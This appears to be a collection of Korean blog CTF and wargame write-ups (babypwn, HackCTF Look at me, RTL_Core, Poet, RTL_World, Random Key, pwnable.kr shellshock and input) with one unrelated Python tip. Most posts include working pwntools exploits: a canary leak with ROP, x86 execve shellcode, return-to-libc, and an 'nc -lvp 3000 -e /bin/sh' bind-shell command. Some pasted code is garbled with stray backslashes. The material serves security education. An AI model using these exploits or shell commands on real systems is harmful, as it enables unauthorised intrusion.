스택 카나리는 함수의 프롤로그에서 스택 버퍼와 반환주소 사이에 임의의 값을 삽입하여 함수의 에필로그에서 해당 값의 변조를 확인하는 보호 기법이다. 만약 카나리값의 변조가 확인되면 프로세스는 강제로 종료된다.

 

카나리 보호기법을 확인하기 위한 코드는 다음과 같다.

#include <stdio.h>

int main()
{
	char buf[8];
	read(0, buf, 32);
	return 0;
}

컴파일 할때 기본적으로 카나리 보호기법이 적용되며, -fno-stack-protector 옵션을 적용해야 카나리 없이 컴파일을 할 수 있다.

카나리 보호기법이 적용된 바이너리와 적용되지 않은 바이너리에 긴 입력값을 주었을 때의 결과는 다음과 같다.

gdb로 main 함수를 비교하면 다음과 같다.

오른쪽이 카나리 보호기법을 적용한 바이너리의 main 함수이다. 

프롤로그 부분에서 다음의 코드가 추가되었고,

   0x000000000040059e <+8>:	mov    rax,QWORD PTR fs:0x28
   0x00000000004005a7 <+17>:	mov    QWORD PTR [rbp-0x8],rax
   0x00000000004005ab <+21>:	xor    eax,eax

에필로그 부분에서 다음의 코드가 추가되었다.

   0x00000000004005cd <+55>:	mov    rcx,QWORD PTR [rbp-0x8]
   0x00000000004005d1 <+59>:	xor    rcx,QWORD PTR fs:0x28
   0x00000000004005da <+68>:	je     0x4005e1 <main+75>
   0x00000000004005dc <+70>:	call   0x400460 <__stack_chk_fail@plt>

추가된 프롤로그(main+8)에 bp를 걸고 실행한 후 코드를 한 줄 실행하면 rax에 첫바이트가 널바이트인 8바이트 데이터가 적용되어 있는 것을 확인할 수 있다.

생성된 8바이트 데이터는 main+17줄의 코드에서 rbp-0x8의 위치에 저장된다.

이후 main+55에 bp를 걸고 실행하여 정상적인 입력값을 주게 되면 에필로그 부분에서 rbp-0x8에 저장된 카나리 값을 rcx로 옮기고 fs:0x28에 저장된 카나리와 xor 연산을 한다. 두 값이 동일하면 0이 나오므로 main+75로 점프하면서 프로그램이 정상 종료된다.

 

만약 긴 입력값이 들어가 카나리 값이 있는 rbp-0x8의 데이터가 변조되면 xor 연산에서 0이 아닌값이 나오므로 main+68의 __stack_chk_fail함수를 실행하며 프로세스가 강제로 종료된다.

 

문제 바이너리를 file 명령어로 확인하면 리눅스 32비트 바이너리임을 확인할 수 있다.

checksec 명령으로 적용된 보호기법을 확인하면 canary와 nx가 적용되어 있는 것을 확인할 수 있다.

ida에서 헥스레이로 main 함수를 보면 다음과 같다.

8181번 포트로 소켓통신을 하는것을 확인할 수 있다.

문제 바이너리를 실행하고 nc로 8181번 포트에 접속해보면 다음과 같다.

main 함수에서 호출하고 있는 sub_8048B87() 함수를 확인하면 다음과 같다.

이 함수에서도 3개의 함수를 호출하고 있다. 이 중 sub_8048A71 함수를 확인하면 다음과 같다.

 이 함수에서 8181번 포트에 접속했을때 출력해주던 메뉴를 출력하는 것을 확인할 수 있고, 40크기의 v2를 선언하고 있다. 그리고 sub_8048907() 함수를 v2 와 100을 인자로 넣어서 호출하고 있다. 해당 함수를 확인하면 다음과 같다.

인자로 넣은 v2와 100을 a1, a2로 하여 recv 함수로 반환하고 있다.

recv함수는 소켓으로부터 데이터를 수신하며 인자는 순서대로 연결된 소켓 디스크립터, 수신한 데이터를 저장할 위치, 수신할 크기, flag 이다. flag 가 0이면 일반 데이터를 수신한다.

위 코드의 경우 v2(a1)의 크기는 40인데 수신하는 데이터 크기는 100이므로 bof가 발생한다.

 

먼저 canary 보호기법이 적용되어 있기 때문에 canary leak을 하고, nx보호기법이 적용되어 있기 때문에 ROP를 통해 쉘을 딸 수 있을 것 같다. 

canary값은 0x00으로 끝나기 때문에 v2의 크기에서 1을 더한 41바이트를 덮어서 canary값을 가져온후 0x00을 더해준다. 이를 수행하는 코드는 다음과 같다.

p.sendlineafter('> ', '1')
p.sendafter(': ', 'A' * 41)
p.recvuntil(pay)
cnry = u32('\x00' + p.recvn(3))

이제 ROP 공격을 하기 위해 가젯을 찾아야 하는데 recv함수를 이용하려면 인자를 4개를 넣어줘야하기 때문에 pop이 4개있는 가젯을 찾으면 다음과 같다.

또한 gdb의 info func 명령으로 함수 목록을 확인해보면 다음과 같이 system 함수가 있는것을 확인할 수 있다.

이 시스템 함수를 사용하여 명령어를 실행시킬 수 있다. 실행시킬 명령어는 서버에서 nc 서버를 열어 -e 옵션으로 /bin/sh를 실행시킬 것이다.

 

익스 코드는 다음과 같다.

from pwn import *

elf = ELF("./babypwn")
ppppr = 0x08048eec
recv_plt = elf.plt["recv"]
sys_plt = elf.plt["system"]
bss = elf.bss()
sh = "nc -lvp 3000 -e /bin/sh"

p = remote("localhost", 8181)

# Canary Leak
pay = 'A' * 41

p.sendlineafter('> ', '1')
p.sendafter(': ', 'A' * 41)
p.recvuntil(pay)
cnry = u32('\x00' + p.recvn(3))
print(hex(cnry))
p.close()

# ROP
p = remote("localhost", 8181)

p.sendlineafter("> ", "1")

pay = "A" * 40
pay += p32(cnry)
pay += "A" * 12
pay += p32(recv_plt)
pay += p32(ppppr)
pay += p32(4)
pay += p32(bss)
pay += p32(len(sh))
pay += p32(0)

pay += p32(sys_plt)
pay += "A" * 4
pay += p32(bss)

p.sendlineafter(": ", pay)
p.sendlineafter("> ", "3")

sleep(1)
p.sendline(sh)

코드를 실행시키고 nc로 접속하면 다음과 같이 쉘이 따진것을 확인할 수 있다.

'Security & Hacking > CTF Write Up' 카테고리의 다른 글

[Plaid CTF 2013] ropasaurusrex  (0) 2021.08.17
[pbctf 2020][web] Apoche I  (0) 2020.12.08
[2020riceteacatpanda]  (0) 2020.01.26
[Insomni'hack teaser 2020][Web] LowDeep  (0) 2020.01.20

file 명령어로 문제 바이너리를 확인해보면 32비트 리눅스 실행파일임을 확인할 수 있다.

또한 statically linked 형식의 바이너리임을 확인할 수 있다. 따라서 함수 목록을 보면 매우 많은 함수들이 있는것도 확인할 수 있다.

checksec 명령으로 적용된 보호기법을 보면 nx가 적용되어 있는 것을 확인할 수 있다.

gdb로 main 함수를 확인하면 다음과 같다.

main 함수에서 look_at_me 라는 함수를 실행하고 있다. IDA 헥스레이로 main 함수와 look_at_me  함수를 확인하면 다음과 같다.

main 함수에서 look_at_me() 함수를 호출하고, look_at_me() 함수의 gets 함수에서 bof 취약점이 발생한다. 

nx 보호기법이 적용되어 있어서 쉘 코드 실행 권한도 없고, system 함수를 호출하는 부분도 없었다.

그러나 다음과 같이 mprotect 함수가 있는것을 확인할 수 있었다.

mprotect 함수는 메모리에 대한 접근을 제어하는 함수로 인자로 접근제어할 주소, 주소 기준으로 제어할 길이, 접근 제어 권한 3개의 인자를 받는다. mprotect 함수를 통해 접근제어되어 있는 메모리에도 권한을 부여할 수 있어서 nx 보호기법이 우회가 가능하다.

 

따라서 문제를 해결하기 위해  ROP기법을  이용하여 gets() 함수를 호출하여 .bss 영역에 쉘코드를 넣고 mprotect() 함수를 호출하여 .bss 영역에 실행권한을 주면 된다.

작성한 익스코드는 다음과 같다.

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3017)
e = ELF("./lookatme")

bss = e.bss()
bss000 = 0x80ea000
pr = 0x080bb0b8
pppr = 0x080bacfe
gets_addr = e.symbols['gets']
mprotect_addr = e.symbols['mprotect']
shell = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

pay = "A" * 28
pay += p32(gets_addr)
pay += p32(pr)
pay += p32(bss)

pay += p32(mprotect_addr)
pay += p32(pppr)
pay += p32(bss000)
pay += p32(10000)
pay += p32(7)
pay += p32(bss)

p.sendline(pay)
p.sendline(shell)
p.interactive()

mprotect 첫번째 인자로 000 으로 끝나는 주소를 사용하는 것은 mprotect 함수의 첫번째 인자 주소는 0x1000의 배수여야 하기 때문이다.

익스코드를 실행하면 다음과 같이 쉘을 딸 수 있다.

 

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] RTC  (0) 2021.10.06
[HackCTF] Yes or no  (0) 2021.08.23
[HackCTF] RTL_Core  (0) 2021.07.30
[HackCTF] Random Key  (0) 2021.07.28
[HackCTF] Poet  (0) 2021.07.27

file 명령어로 문제 바이너리를 확인해보면 32비트 실행파일임을 확인할 수 있다.

checksec 명령으로 적용된 보호기법들을 확인하면 다음과 같다.

바이너리를 실행시키면 다음과 같이 패스코드를 입력하라고 한다.

 

아이다 헥스레이 기능을 활용하여 main 함수를 확인하면 다음과 같다.

passcode를 입력 받고, 입력받은 값을 check_passcode 라는 함수에 넣어 함수의 리턴값과 hashcode값과 같으면 core 함수를 실행한다.

먼저 check_passcode 함수를 확인하면 다음과 같다.

check_passcode 함수는 매개변수 a1의 주소에 있는 값을 4바이트씩 5번 반복하면서 v2에 누적하고 v2를 반환한다. 

hashcode의 값은 다음과 같다.

따라서 main 함수의 조건문을 만족시키려면 0xc0d9b0a7 / 5 를 하면 0x2691f021가 나오고 나머지로 0x2가 나오기 때문에 0x2691f021를 4번 입력하고, 5번째는 0x2691f023을 입력하면 첫번째 조건문을 만족시킬 수 있다.

 

core 함수를 확인하면 다음과 같다.

dlsym()함수로 printf의 주소를 가져와 출력하고 read 함수를 리턴한다. buf의 크기는 0x3e 이지만 0x64만큼 읽기 때문에 bof가 발생하며 printf 주소를 활용하여 rtl 공격을 시도할 수 있다.

 

서버에서 익스를 성공하려면 서버의 libc 파일을 참조해야 하기 때문에 문제에서 제공해준 서버의 libc.so.6 파일을 이용하여 libc base 주소를 구하고, system 함수와 "/bin/sh"의 offset을 구하여 rtl 공격을 통해 쉘을 딸 수 있다.

payload는 0x3e + 4 만큼 채우고 system()함수의 주소를 넣고 4바이트 채우고 인자로 들어갈 "/bin/sh"문자열의 주소를 넣으면 된다. 따라서 다음과 같이 익스코드를 작성하여 실행하면 플래그를 얻을 수 있다.

from pwn import *

# p = process('./rtlcore')
p = remote('ctf.j0n9hyun.xyz', 3015)
libc = ELF('./libc.so.6')

printf_offset = libc.symbols['printf']
sys_offset = libc.symbols['system']
binsh_offset = list(libc.search('/bin/sh'))[0]

pay = p32(0x2691f021) * 4
pay += p32(0x2691f023)

p.sendline(pay)

p.recvuntil('0x')
printf_addr = int(p.recv(8), 16)

libcbase = printf_addr - printf_offset
sys_addr = libcbase + sys_offset
binsh_addr = libcbase + binsh_offset

pay = ''
pay += 'A' * 66
pay += p32(sys_addr)
pay += 'BBBB'
pay += p32(binsh_addr)

p.sendline(pay)
p.interactive()

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] Yes or no  (0) 2021.08.23
[HackCTF] Look at me  (0) 2021.08.06
[HackCTF] Random Key  (0) 2021.07.28
[HackCTF] Poet  (0) 2021.07.27
[HackCTF] RTL_World  (0) 2021.07.24

file 명령으로 문제 바이너리를 확인해보면 64비트 리눅스 실행파일임을 확인할 수 있다.

checksec 명령으로 확인해보면 nx 보호기법이 적용된 것을 확인할 수 있다.

random 바이너리를 실행해보면 다음과 같다.

ida 헥스레이 기능을 활용하여 main 함수를 확인하면 다음과 같다.

v5에 값을 입력받고, v5의 값과 v4의 값이 같다면 system() 함수로 flag를 출력한다. v4의 값은 현재 시간을 기준으로 난수를 저장한다.

따라서 서버시간과 동일하게 난수를 출력하는 코드를 짜서 실행하면 될 것 같다.

따라서 익스 코드는 다음과 같다.

#include <stdio.h>
#include <time.h>
#include <stdlib.h>

int main()
{
	int t = time(0);
	srand(t);
	int r = rand();
	printf("%d", r);
	return 0;
}

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] Look at me  (0) 2021.08.06
[HackCTF] RTL_Core  (0) 2021.07.30
[HackCTF] Poet  (0) 2021.07.27
[HackCTF] RTL_World  (0) 2021.07.24
[pwnable.kr] shellshock  (0) 2021.06.16

문제를 file 명령으로 확인해보면 64비트 바이너리임을 확인할 수 있다.

checksec명령으로 적용된 보호기법을 보면 nx 보호기법이 적용되어 있는 것을 확인할 수 있다.

 

ida 헥스레이를 활용하여 사용된 함수들을 보면 다음과 같다.

main 함수
get_poem 함수
get_author 함수
rate_poem 함수
reward 함수

main 함수를 보면 무한루프를 돌고 있고, dword_6024E0이 1000000이 될 경우 무한루프를 탈출하며 reward() 함수를 호출한다.

reward 함수에서는 flag.txt 값을 출력한다.

dword_6024E0의 값을 1000000으로 만들어 주면 될 것 같다.

 

위 함수들에서 bof를 터뜨릴 수 있는 함수는 get_poem 함수와 get_author 함수가 있다. 그러나 get_poem 함수는 gets()함수 호출 후 dword_6024E0을 0으로 초기화 하기 때문에 payload는 get_author 함수의 gets() 함수에 넣어야 할 것 같다.

 

get_author 함수의 어셈 코드는 다음과 같다.

0x6024a0의 위치에 입력을 받는다.

 

main 함수의 비교문을 보면 다음과 같다.

0x6024e0 의 값과 0xf4240(1000000)과 비교를 한다.

 

0x6024a0과 0x6024e0의 offset 차이는 64이다.

따라서 get_author 함수에서 입력값을 64만큼 더미값으로 채우고 1000000을 넣으면 조건문을 만족시킬 수 있을 것 같다.

다음과 같이 익스코드를 작성하면 문제를 해결할 수 있다.

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3012)

pay = 'A' * 64 + p64(1000000)

p.recvuntil('> ')
p.sendline('AAA')

p.recvuntil('> ')
p.sendline(pay)

p.interactive()

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] RTL_Core  (0) 2021.07.30
[HackCTF] Random Key  (0) 2021.07.28
[HackCTF] RTL_World  (0) 2021.07.24
[pwnable.kr] shellshock  (0) 2021.06.16
[pwnable.kr] input  (0) 2021.06.15

문제 바이너리를 실행시키면 위와 같이 Segmentation fault가 떠서 nc 서버에 직접 접속하여 문제의 동작을 확인하였다.

문제에 접속하면 위와 같은 화면이 나오며 1~6번까지의 번호를 선택할 수 있다.

file 명령어로 문제 바이너리를 확인해보면 32비트 실행파일임을 확인할 수 있다.

peda에서 checksec 명령으로 미티게이션을 확인해보면 nx가 걸려있다.

IDA로 문제 바이너리를 보면 다음과 같다.

main 함수를 보면 1번 선택시 바이너리에 적용된 미티게이션을 보여주고 있다.

2번 선택 시 Get_Money() 함수를 실행시키고 있다.

3번 선택 시 gold가 1999 이상이면 v6변수의 주소를 출력하는데, v6 변수의 주소는 system함수의 주소를 의미한다.

4번 선택시 gold가 2999 이상이면 s1의 주소를 출력하는데, s1의 주소는 "/bin/sh" 문자열의 위치를 의미한다. 

이 두 값을 통해 문제 이름처럼 rtl 공격을 시도할 수 있을 것 같다.

5번 선택시 read 함수로 buf에 값을 입력받는데,  buf의 크기는 128인데 그 이상의 값을 입력받으므로 bof가 발생한다. 

 

Get_Money() 함수는 다음과 같다.

main() 함수에서 2번을 선택시 실행되는 함수로 보여지는 것은 3번 메뉴까지 있는것처럼 보여지지만 4를 입력시 hidden number 을 입력했다고 출력하며 gold에 v2 값을 추가한다. v2는 rand()함수의 값으로 매우 큰 난수를 반환한다. 

 

따라서 이 문제를 해결하려면 main 함수에서 2번을 선택하고, 4번을 선택하여 gold 값을 키우고 그 값을 이용하여 main의 3,4번메뉴를 선택하여 system 함수의 주소와 "/bin/sh"의 주소를 구해 페이로드를 작성하여 5번 메뉴를 통해 페이로드를 전달하면 문제를 해결할 수 있을 것 같다.

작성한 익스 코드는 다음과 같다.

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3010)

# make money
p.sendlineafter('>>> ', '2')
p.sendlineafter('>>> ', '4')

# get system
p.sendlineafter('>>> ', '3')
p.recvuntil('System Armor : ')
sys_addr = int(p.recv(10), 16)

# get shell
p.sendlineafter('>>> ', '4')
p.recvuntil('Shell Sword : ')
shell_addr = int(p.recv(10), 16)

# payload
pay = ''
pay += 'A' * 144
pay += p32(sys_addr)
pay += 'B' * 4
pay += p32(shell_addr)

p.sendlineafter('>>> ', '5')
p.sendlineafter('> ', pay)
p.interactive()

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] Random Key  (0) 2021.07.28
[HackCTF] Poet  (0) 2021.07.27
[pwnable.kr] shellshock  (0) 2021.06.16
[pwnable.kr] input  (0) 2021.06.15
[HackCTF] BOF_PIE  (0) 2021.06.01

다음과 같이 2차원 리스트가 있을 때 행은 열로, 열은 행으로 변환할 수 있다.

li = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]
print(li)
li = list(map(list, zip(*li)))
print(li)
'''
output : 
[[1, 2, 3], [4, 5, 6], [7, 8, 9]]
[[1, 4, 7], [2, 5, 8], [3, 6, 9]]
'''

 

'Language > Python' 카테고리의 다른 글

멜론차트 1~50위 크롤링  (0) 2019.09.02
반복문(for)  (0) 2019.03.07
반복문(while)  (0) 2019.02.09
조건문(if)  (0) 2019.02.08
입력 함수(input)  (0) 2019.02.08

문제 설명을 보면 bash에 관한 충격적인 뉴스가 있다고 한다.
문제 서버에 접속하여 shellshock.c 파일을 보면 다음 코드와 같다.

#include <stdio.h>

int main()
{
	setresuid(getegid(), getegid(), getegid());
	setresgid(getegid(), getegid(), getegid());
	system("/home/shellshock/bash -c 'echo shock_me'");
	return 0;
}

system 함수로 bash 셸 스크립트로 shock_me를 출력하고 있다. 문제 설명에도 나와 있듯이 bash에 관한 취약점인것 같아서 bash 취약점을 키워드로 검색해보니 bash shellshock 취약점을 찾을 수 있었다.
환경변수와 함께 선언되는 함수 뒤에 원하는 명령어를 삽입할 수 있는 취약점이다.
환경변수를 설정할 때 (){ return; };처럼 함수를 설정하고 ; 뒤에 실행할 명령어를 입력하면 된다.


pwd 명령어를 실행하도록 입력하였더니 shellshock 에서 bash명령을 실행할 때 등록된 환경변수를 읽어와서 pwd명령을 실행한 결과를 보여준다. 따라서 다음과 같이 flag를 출력하도록 하고 ./shellshock를 실행하면 shellshock_pwn 계정의 권한으로 flag를 읽은 결과를 출력해준다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] Poet  (0) 2021.07.27
[HackCTF] RTL_World  (0) 2021.07.24
[pwnable.kr] input  (0) 2021.06.15
[HackCTF] BOF_PIE  (0) 2021.06.01
[LoS] golem  (0) 2021.05.19

문제에 접속하여 flag 파일을 읽으려하면 권한 문제로 읽히지 않는다.

input파일을 실행해보면 다음과 같이 출력이 나온다.

또한 input.c 소스코드를 보면 다음과 같다.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69
#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/socket.h>

#include <arpa/inet.h>



int main(int argc, char\\\\\\\\\\* argv[], char\\\\\\\\\\* envp[]){

printf("Welcome to pwnable.kr\n");

printf("Let's see if you know how to give input to program\n");

printf("Just give me correct inputs then you will get the flag :)\n");



// argv

if(argc != 100) return 0; // 인자가 100이 아니면

if(strcmp(argv['A'],"\x00")) return 0;

if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;

printf("Stage 1 clear!\n");



// stdio

char buf[4];

read(0, buf, 4);

if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;

read(2, buf, 4);

if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;

printf("Stage 2 clear!\n");



// env

if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;

printf("Stage 3 clear!\n");



// file

FILE\\\\\\\\\\* fp = fopen("\x0a", "r");

if(!fp) return 0;

if( fread(buf, 4, 1, fp)!=1 ) return 0;

if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;

fclose(fp);

printf("Stage 4 clear!\n");



// network

int sd, cd;

// 소켓 구조체

struct sockaddr\\\\\\\\\\_in saddr, caddr;

sd = socket(AF\\\\\\\\\\_INET, SOCK\\\\\\\\\\_STREAM, 0);

if(sd == -1){

printf("socket error, tell admin\n");

return 0;

}

saddr.sin\\\\\\\\\\_family = AF\\\\\\\\\\_INET;

saddr.sin\\\\\\\\\\_addr.s\\\\\\\\\\_addr = INADDR\\\\\\\\\\_ANY;

// port 정보

saddr.sin\\\\\\\\\\_port = htons( atoi(argv['C']) );

if(bind(sd, (struct sockaddr\\\\\\\\\\*)&saddr, sizeof(saddr)) < 0){

printf("bind error, use another port\n");

return 1;

}

listen(sd, 1);

int c = sizeof(struct sockaddr\\\\\\_in);

cd = accept(sd, (struct sockaddr \\\\\\\\\\*)&caddr, (socklen\\\\\\\\\\_t\\\\\\\\\\*)&c);

if(cd < 0){

printf("accept error, tell admin\n");

return 0;

}

if( recv(cd, buf, 4, 0) != 4 ) return 0;

if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;

printf("Stage 5 clear!\n");



// here's your flag

system("/bin/cat flag");

return 0;

}

Colored by Color Scripter
cs

 

//argv로 주석이 되어 있는 부분의 코드를 보면 인자의 크기가 100이 아니면, 인자의 'A'인덱스 즉 65번째 인덱스가 "\x00"가 아니고, 인자의 'B' 인덱스 즉 66번째 인덱스가 "\x20\x0a\x0d"가 아니면 프로그램을 종료하고, 위 조건들을 만족시키는 경우 Stage 1 clear을 출력한다.

 

//stdio로 주석이 되어 있는 부분의 코드를 보면 read 함수로 buf를 읽어오는데, 0(stdin)이 "\x00\x0a\x00\xff"이 아닐 경우, 2(stderr)이 "\x00\x0a\x02\xff"가 아닐 경우 조건을 프로그램을 종료하고, 조건들을 만족시킬 경우 Stage 2 clear을 출력한다.

 

//env로 주석이 되어 있는 부분의 코드를 보면 getenv()함수로 환경변수 "\xde\xad\xbe\xef"의 값이 "\xca\xfe\xba\xbe"가 아닐 경우 프로그램을 종료하고, 조건을 만족하면 Stage 3 clear을 출력한다.

 

//file로 주석이 되어 있는 부분의 코드를 보면 fopen()함수로 "\x0a"라는 이름의 파일을 열고 파일을 읽어 파일의 내용이 "\x00\x00\x00\x00"가 아니면 프로그램을 종료하고, 조건을 만족하면 Stage 4 clear을 출력한다.

 

//network로 주석이 되어 있는 부분의 코드를 보면 sockaddr_in 구조체를 사용하고 있고, 소켓 생성에 실패(socket 함수 -1 반환)하면 socket error을 출력하고 프로그램을 종료한다. saddr의 포트 정보에 인자의 'C' 인덱스 즉 67번째 인덱스의 값을 넣고, bind 함수로 소켓 통신할 준비를 해준다. 이 과정에서 에러가 발생할 경우 bind error use another port를 출력하고 프로그램을 종료한다. accept()함수로 소켓을 연결하고, 에러가 발생할 경우(return -1) accept error tell admin을 출력하고 프로그램을 종료한다. 이후 소켓에서 4바이트를 받아와서 받아온 값이 "\xde\xad\xbe\xef"가 맞다면 Stage 5 clear을 출력한다.

 

위 5가지의 조건을 모두 만족시키면 플래그를 읽을 수 있다.

 

문제를 해결하기 위해 pwntools를 이용하여 파이썬 코드로 작성하였다.

첫번째 조건을 만족시키기 위해 인자값을 조건에서 주어진 대로 설정하고, 인자를 전달하려면 process 함수의 argv 옵션을 이용하여 전달할 수 있다.

 

두 번째 조건을 만족시키기 위해 stdin으로는 "\x00\x0a\x00\xff"를 전달하였고, stderr일 경우 전달하는 파일을 만들어 "\x00\x0a\x02\xff"을 저장하여 process함수의 stderr옵션을 이용하여 전달하였다.

 

세 번째 조건을 만족시키기 위해 process함수의 env 옵션을 이용하여 환경변수를 설정하였다.

 

네 번째 조건을 만족시키기 위해 조건에 주어진 이름의 파일을 만들고, 파일 내용도 조건에 주어진 대로 지정해 주었다.

 

다섯 번째 조건을 만족시키기 위해 인자의 67번째('C')인덱스에 포트를 지정하고 지정한 포트로 nc 연결을 하여 조건에서 주어진 값을 전달하였다.

따라서 코드로 작성하면 다음과 같다.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22
from pwn import \\\*



argvs = [str(i) for i in range(100)]

argvs[65] = '\x00'

argvs[66] = '\x20\x0a\x0d'

argvs[67] = '3000'



p = process(executable='/home/input2/input', argv=argvs, stderr=open('./stderr'), env={'\xde\xad\xbe\xef':'\xca\xfe\xba\xbe'})



pay = '\x00\x0a\x00\xff'

with open('./stderr', 'w') as f:

f.write('\x00\x0a\x02\xff')



with open('\x0a', 'w') as f:

f.write('\x00\x00\x00\x00')



p.sendline(pay)



r = remote('localhost',3000)

r.send('\xde\xad\xbe\xef')



p.interactive()

Colored by Color Scripter
cs

또한 flag파일은 현재 경로에 없기 때문에 ln \\-s /home/input2/flag flag 명령으로 현재 경로에 심볼릭 링크를 걸어준 후 파이썬 코드를 실행하면 플래그를 얻을 수 있다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] RTL_World  (0) 2021.07.24
[pwnable.kr] shellshock  (0) 2021.06.16
[HackCTF] BOF_PIE  (0) 2021.06.01
[LoS] golem  (0) 2021.05.19
[HackCTF] Offset  (0) 2021.05.13

+ Recent posts